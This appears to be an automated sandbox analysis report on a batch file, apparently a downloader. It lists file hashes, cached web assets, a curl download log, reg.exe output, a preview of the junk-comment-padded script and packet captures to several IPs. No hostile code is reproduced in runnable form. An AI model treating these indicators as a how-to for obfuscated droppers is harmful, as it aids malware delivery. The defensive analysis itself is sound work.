SSDEEP:	6144:2k3n+yZIKryzjrgBB9Tch2+4jm8eTVcwOuw4z:tuuIKrtkOI
MD5:	1BD4DEB06E6596DADD299802BD8918DF
SHA1:	422A8DBC645FF7BB34877CB95ABD5874CE4BA989
SHA-256:	C4E1CA3F132B59BEDB94B42DA32D67A021DAAA8D9183310E439EE9AC09DD58A5
SHA-512:	F5DB824D080F2D43FDC12DF805D575FD4D12204683099C887E27F7535092DE3BB6B43E034B7F9C15E0507C38F989F8A87B63E3D4619317C5A227F881C9462D88
Malicious:	false
Reputation:	unknown
URL:	https://www.googletagmanager.com/gtag/js?id=G-1S18THVZ27&l=dataLayer
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"2",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":false},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_ga_send","priority":6,"vtp_value":true,"tag_id":11},{"function":"__ogt_ip_mark","priority":6,"vtp_instanceOrder":0,"vtp_paramValue":"internal","vtp_ruleResult":["macro",1],"tag_id":13},{"function":"__ogt_referral_exclusion","priority":6,"vtp_includeConditions":["list","spyrix\\.com"],"tag_id":14},{"function":"__ogt_session_timeout","priority":6,"vtp_sessionMinutes":30,"vtp_sessionHours":0,"tag_id":15},{"function":"__ogt_1p_data_v2","priority":6,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"",

Chrome Cache Entry: 671

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, Unicode text, UTF-8 text, with very long lines (5161)
Category:	dropped
Size (bytes):	5163
Entropy (8bit):	5.370031062210679
Encrypted:	false
SSDEEP:	96:465cseIJOXqXSC4fUB0R7np5n9Tpivy3rhUQZ0/t/wk5wRwKvQH8n/:4O1XSC4Y0xnpt9tEy3SQZ8Bwk5CvQH8/
MD5:	E6BC7C31B43816CEFAF80A03CD93DB22
SHA1:	47C88ACD158A35C26EE7457D3521F0C93C29FB6E
SHA-256:	C5545CD432E5A08437298FC0F38EFA01E077C49C97EE7B64CD6AE3AA24A9DF36
SHA-512:	3F8276ACBF8955CFBC4D5B0E067362AEEA6C56B00600666EDEA3DF0CF5480DD46DAC884FBBF9F41971F842DBC374B7414A0A0A715377668F175AAA5293B9760D
Malicious:	false
Reputation:	unknown
Preview:	import{d as F,o as I,b as D,i as P,r as gt,n as r,u as t,au as pt,g as H,E as _t,F as ft,$ as vt,D as Et,M as u,c as w,p as x,R as y,s as ht,at as wt,h as s,y as d,az as xt,am as yt,e as St}from"./index-004f4025.js";import{a as W,u as Lt,b as Pt,d as Bt}from"./ConfirmPhoneModal.module-3f369b32.js";import{_ as B}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{u as Ft,_ as It,a as kt}from"./Copyright.vue_vue_type_script_setup_true_lang-05301fe7.js";import"./Button.module-6d4e91b8.js";import"./ButtonTemplate.module-c837805f.js";import"./ButtonText.module-c769b9ae.js";import"./Modal.module-d62c47b8.js";import{_ as S}from"./Button.vue_vue_type_script_setup_true_lang-56edf5a6.js";import{_ as L}from"./ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js";import{u as Ct}from"./useValidation-954c07e6.js";import{_ as q}from"./Input.vue_vue_type_script_setup_true_lang-31858815.js";import"./loop-c45f0f1e.js";const Mt=F({__name:"AuthCard",setup(o){return(a,v)=>(I(),D("div"

Chrome Cache Entry: 672

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (837)
Category:	downloaded
Size (bytes):	838
Entropy (8bit):	5.138342360432239
Encrypted:	false
SSDEEP:	24:HIA6XKsUFFQtk4BQs1uub9T5zvEw+8iYshFQa:qXdcmVlhxz+5YsTQa
MD5:	2DE77C15D2E4B26D02874D1C6A5D78D1
SHA1:	B80B2BB3553C9C417B569CCF7E7C8CED660AE735
SHA-256:	9D95D9183E874ACA32283807A0464CA9C4BC267FAEA799E27A3C23D2CD7ACA61
SHA-512:	F4007CF227253D9548EDE6D646C3757BD8F8AAF316030E271E8A7B3AD730F8CED4991A3C96E850944313E2BFA94BF13400715AC9EB93ACFAD37353FE4217C7A0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/useValidation-954c07e6.js
Preview:	import{ac as n,m as i}from"./index-004f4025.js";const d=e=>{const{t}=n;return e.includes("@")&&e.includes(".")?"":t("Please enter a valid e-mail address")};function m(e){const{t}=n;return e.length<=180?"":t("The field must contain less than 180 characters")}const f=e=>{const{t}=n;return e.length<6?t("The field must contain at least 6 characters"):""},h=e=>{const{t}=n;return/^([+]\|\d)([0-9])+$/.test(e)?"":t("There should only be numbers")},p=e=>{const{t}=n;return e?"":t("Field cannot by empty")};function F(){const e=i({}),t={required:p,maxLen:m,email:d,minLen6:f,phone:h},u=(s,o,l)=>{let r=!1;l.forEach(a=>{if(r)return;const c=t[a](o);if(c){e.value[s]=c,r=!0;return}else e.value[s]=""})};return{errors:e,validate:u,validateField:(s,o,l)=>{const r="mockedFieldName";u(r,s,o);const a=e.value[r];return a?(l(a),!1):!0}}}export{F as u};.

Chrome Cache Entry: 673

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text, with very long lines (795)
Category:	downloaded
Size (bytes):	796
Entropy (8bit):	5.177657402754797
Encrypted:	false
SSDEEP:	24:5AEGWcKDE8vXntdkNr2kZPmoSnH52XdGKav:5AEGlt8vXtd42+mo6edGKk
MD5:	3200FC81B1A014F05468E26FDE52BE12
SHA1:	7FE3D3991C4050E7FB07A77A562EBEAC60BE5F8F
SHA-256:	322F62D059D4F3F0641420A7E2CC89B734F6019D54460D25CB3E06E502B8B0CE
SHA-512:	82BB4B79EA3C1305D710754C840751AEDCC140894F2FA8356DE784C58175A15E678DF619466A2D363BEA2AE747BF840D5750CD8D07F8D7DD20EF8955EBE88A69
Malicious:	false
Reputation:	unknown
URL:	https://cdn.cdndownload.net/dashboard30/assets/ButtonText.vue_vue_type_script_setup_true_lang-1bda6e81.js
Preview:	import{d,g as c,c as s,o as f,b as m,h as p,n,u as a}from"./index-004f4025.js";import{_ as x}from"./Text.vue_vue_type_script_setup_true_lang-a664542d.js";import{c as o}from"./ButtonText.module-c769b9ae.js";const b=d({__name:"ButtonText",props:{whiteSpace:{default:"default"},text:{},loading:{type:Boolean,default:!1},loadingText:{default:""},customColor:{default:"default"},disabledText:{default:""},size:{default:"sm"}},setup(l){const e=l,{t:r}=c(),i=s(()=>e.loadingText?e.loadingText:r("Please, wait...")),u=s(()=>e.loading?i.value:e.disabledText?e.disabledText:e.text);return(t,T)=>(f(),m("div",{class:n([a(o).buttonText,a(o)[t.customColor]])},[p(x,{class:n(a(o).text),text:u.value,size:t.size,"one-row":t.whiteSpace!=="wrap"},null,8,["class","text","size","one-row"])],2))}});export{b as _};.

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	2295
Entropy (8bit):	3.289135528366767
Encrypted:	false
SSDEEP:	24:HkyH+bJiMHiz0fOZXkQQ97lqRkPpAn2nIsU+BgANfP/+u7/2/njabKCI7DWuJ3:Hky+iB0fEXg7AamyWu7/4uvI7DWuJ3
MD5:	EAF77E189F84896933C7BA9ABFD95A6C
SHA1:	4D4C0303E01F09E9D6617CA8DFC618E554FD20A4
SHA-256:	F015078CAD486816CF62BCAA107CAD67E69D1055CC9311080AF888B1D36FD42A
SHA-512:	C11D7117EDB26ACD15F45982A5D235EC8E4D4B718C4C005B523E33AE69D9962481FC143143B7B5E53CCD4346BE09EC6803AAA57BFAD567D0621C4B423DE10667
Malicious:	false
Reputation:	unknown
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 31.8M 0 143k 0 0 132k 0 0:04:07 0:00:01 0:04:06 132k. 4 31.8M 4 1519k 0 0 725k 0 0:00:45 0:00:02 0:00:43 726k. 8 31.8M 8 2919k 0 0 944k 0 0:00:34 0:00:03 0:00:31 944k. 13 31.8M 13 4287k 0 0 1060k 0 0:00:30 0:00:04 0:00:26 1060k. 17 31.8M 17 5631k 0 0 1117k 0 0:00:29 0:00:05 0:00:24 1124k. 21 31.8M 21 7039k 0 0 1166k 0 0:00:27 0:00:06 0:00:21 1393k. 25 31.8M 25 8415k 0 0 1183k 0 0:00:27 0:00:07 0:00:20 1374k. 30 31.8M 30 9807k 0 0 1221k 0 0:00:26 0:00:08 0:00:18 1394k. 33 31.8M 33 10.8M 0 0 1228k 0 0:

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	243
Entropy (8bit):	5.025903567998292
Encrypted:	false
SSDEEP:	6:rbsd3u6eWFF60OckSi23oH+H1gFyeWFF60OckSi23fksgeWFF60OckSi23fhn:QNFFvO4ZYeVAyNFFvO4ZssgNFFvO4ZZn
MD5:	5F73D6EB745036C1AFF17E55835C42B2
SHA1:	603662F0180E4B5AACD9DCDFB01738C0D29F7A3F
SHA-256:	11C4731706427EC108A02F9FD527EC7DEEA25F012233B5F6EEC8D10F615CB631
SHA-512:	E9B3B307A6CBC6EE6219347ED24246AFE1197CEE2A1AC621C7E8035DD32B9CAB256F80155D66E7580AFEE7022264CEE105EE08A380BE5960C30E26D3E2277E43
Malicious:	false
Reputation:	unknown
Preview:	..HKEY_USERS\S-1-5-19\Environment.. Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;.. TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp.. TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp....

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.401716167477105
TrID:
File name:	c5WMpr1cOc.bat
File size:	7'511 bytes
MD5:	1ff13790ed1131ef710192fd2a2957dd
SHA1:	96871befc62dbb9aca8910e25e3cdfa4f13d0feb
SHA256:	201ba880456a79f7af54cb4aa5e9c008d8a1961e686acbac7b2f1343e697b7a9
SHA512:	f30c530bda2be66b8d2a471a13953e5f6394ef131a147529c8f552022d3f16e77e52e0815f7bf83f55557581de4cae2d58029c6fef03d483a4db15be0826a000
SSDEEP:	192:c4UZAg6LtDFkK9vhGKiJoO5vx5O9hcBfgkjdB5kTY:cOg6jiJh5vxAhVs7yY
TLSH:	F3F1AF17A13609DB0CF88E49D218128E659FEE92C39064D6783F95C0B10B73DA7CCA67
File Content Preview:	rem ylz003ke5c31oda41fro52lc7on87ce318m6ltv2i57nr4mw50a01sdfoc2e9odagnkv3c2z1epqw5jyly6815lcyzektx8zwzs843k8dhhfdruv14y08o7r..@echo off..rem uydryl5s1q8ukisihvnpmgr4j9ghw0ts1wcmy9m6q0474h8xd6zqx..rem d17yqlhcywwzn9r56r204arndkqclg6425..rem r0asidlvlsm4wvk

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 06:09:51.132981062 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 2, 2024 06:09:59.641911030 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:09:59.641952991 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:09:59.642019033 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:09:59.651783943 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:09:59.651798964 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.549371958 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.549477100 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.563069105 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.563092947 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.563298941 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.622603893 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.626379013 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.671403885 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.742330074 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 2, 2024 06:10:00.812511921 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.812530041 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.812577963 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.812585115 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.812597990 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.812635899 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.812644958 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.813453913 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.813499928 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.813514948 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.813554049 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.890613079 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.890681982 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.902889013 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.902947903 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.902962923 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.902988911 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.903024912 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.903745890 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.903805017 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.903814077 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.903882980 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.904263020 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.904314995 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.905041933 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.905091047 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.905097008 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.905102015 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.905131102 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.968974113 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.969047070 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.981096983 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.981142044 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.981146097 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.981178999 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.981198072 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.993804932 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.993860006 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.993870020 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.993916035 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.994014978 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.994066000 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.994611025 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.994647026 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.994662046 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.994668007 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.994693995 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.995260954 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.995302916 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.995310068 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.995331049 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.995351076 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.995357037 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.995402098 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.996197939 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996268034 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.996273994 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996315956 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.996320963 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996330976 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996361017 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996361971 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.996424913 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:00.996426105 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:00.996496916 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:01.032185078 CEST	49732	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:01.032207012 CEST	443	49732	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:02.373295069 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:02.373342037 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:02.373413086 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:02.414501905 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:02.414519072 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.018853903 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.018984079 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.021297932 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.021311998 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.021541119 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.070561886 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.376475096 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.423417091 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.828136921 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.828157902 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.828196049 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.828217030 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.828233004 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.828250885 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.832865953 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.832926035 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.832927942 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.832937956 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.832962036 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:03.833004951 CEST	443	49735	23.109.93.100	192.168.2.4
Oct 2, 2024 06:10:03.833051920 CEST	49735	443	192.168.2.4	23.109.93.100
Oct 2, 2024 06:10:06.560385942 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:06.560451031 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:06.560549021 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:06.571958065 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:06.571980000 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:07.048722982 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:07.048803091 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:07.051894903 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:07.051913023 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:07.052150011 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:07.054616928 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:07.099412918 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:09.800046921 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:09.800136089 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:09.800205946 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:09.834923029 CEST	49740	443	192.168.2.4	167.114.14.170
Oct 2, 2024 06:10:09.834968090 CEST	443	49740	167.114.14.170	192.168.2.4
Oct 2, 2024 06:10:10.107320070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.107377052 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.107458115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.114296913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.114312887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.697617054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.697694063 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.699332952 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.699345112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.699589014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.702007055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.747404099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.891099930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.891129017 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.891145945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.891308069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.891328096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.891388893 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.973004103 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.973022938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.973134041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.973146915 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.973198891 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.975404978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.975419998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.975490093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:10.975496054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:10.975543022 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.062585115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.062628984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.062724113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.062752008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.062840939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.063751936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.063786030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.063853979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.063858986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.063899994 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.065498114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.065536976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.065571070 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.065574884 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.065598965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.065613031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.072376013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.072417974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.072451115 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.072472095 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.072485924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.072513103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.159806013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.159836054 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.159991980 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.160015106 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.160068035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.160142899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.160176992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.160207033 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.160211086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.160247087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.160268068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.161217928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.161253929 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.161328077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.161336899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.161376953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.162055969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.162075996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.162134886 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.162141085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.162184954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.165268898 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.165291071 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.165501118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.165507078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.165549040 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:11.166301012 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166318893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:11.166364908 CEST	49744	443	192.168.2.4	167.114.14.168
